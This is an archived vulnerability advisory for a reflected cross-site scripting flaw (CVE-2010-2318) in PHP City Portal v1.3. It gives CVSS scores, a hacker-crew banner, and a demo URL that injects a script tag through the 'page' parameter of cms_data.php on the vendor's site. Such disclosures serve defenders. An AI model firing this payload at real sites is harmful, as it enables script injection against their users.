PHP City Portal v1.3 (XSS) Cross Site Scripting Vulnerability

2010.06.19
Credit: /Red-D3v1L
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2010-2318
CWE: CWE-79


Ogólna skala CVSS: 4.3/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

+===================================================================================+ ./SEC-R1Z _ __ _ _ _ _ ___ _ _ _ _ __ _ _ _ _ _ / /_ _ _ _ / _ _\/ _ _ /\ \< |/_ _ _ _ / \ \_ _ _ _/ /___ / / __ | |) / | | / / \_ _ _ _/ /___ / / | __ || / | | / / _______\ \_ _ \ \2_0_0_9 | \ | | / /____ /_ _ _ _ _\ _ _ _/\ _ _ _ / |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!! +===================================================================================+ [?] ~ Note : sEc-r1z CrEw# r0x ! ============================================================================== [?] PHP City Portal v1.3 (XSS) Cross Site Scripting Vulnerability ============================================================================== [?] My home: [ http://sec-r1z.com ] [?] Script: [ PHP City Portal v1.3 ] [?] Language: [ PHP ] [?] Vendor [http://phpcityportal.com ] [?] Founder: [ ./Red-D3v1L ] [?] Gr44tz to: [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ] [?] Fuck To : [ Zombie_KsA << big big big L4m3r ] ######################################################################## ===[ Exploit SQL ]=== [&#187;]SQL : [Path]/cms_data.php?page=[XSS Vuln] [&#187;]dem0: http://phpcityportal.com/cms_data.php?page=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E ============================================================================== #sEc-r1z.com Str1kEz y0u !

Referencje:

http://www.securityfocus.com/bid/40532
http://packetstormsecurity.org/1001-exploits/phpcityportal-xss.txt


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top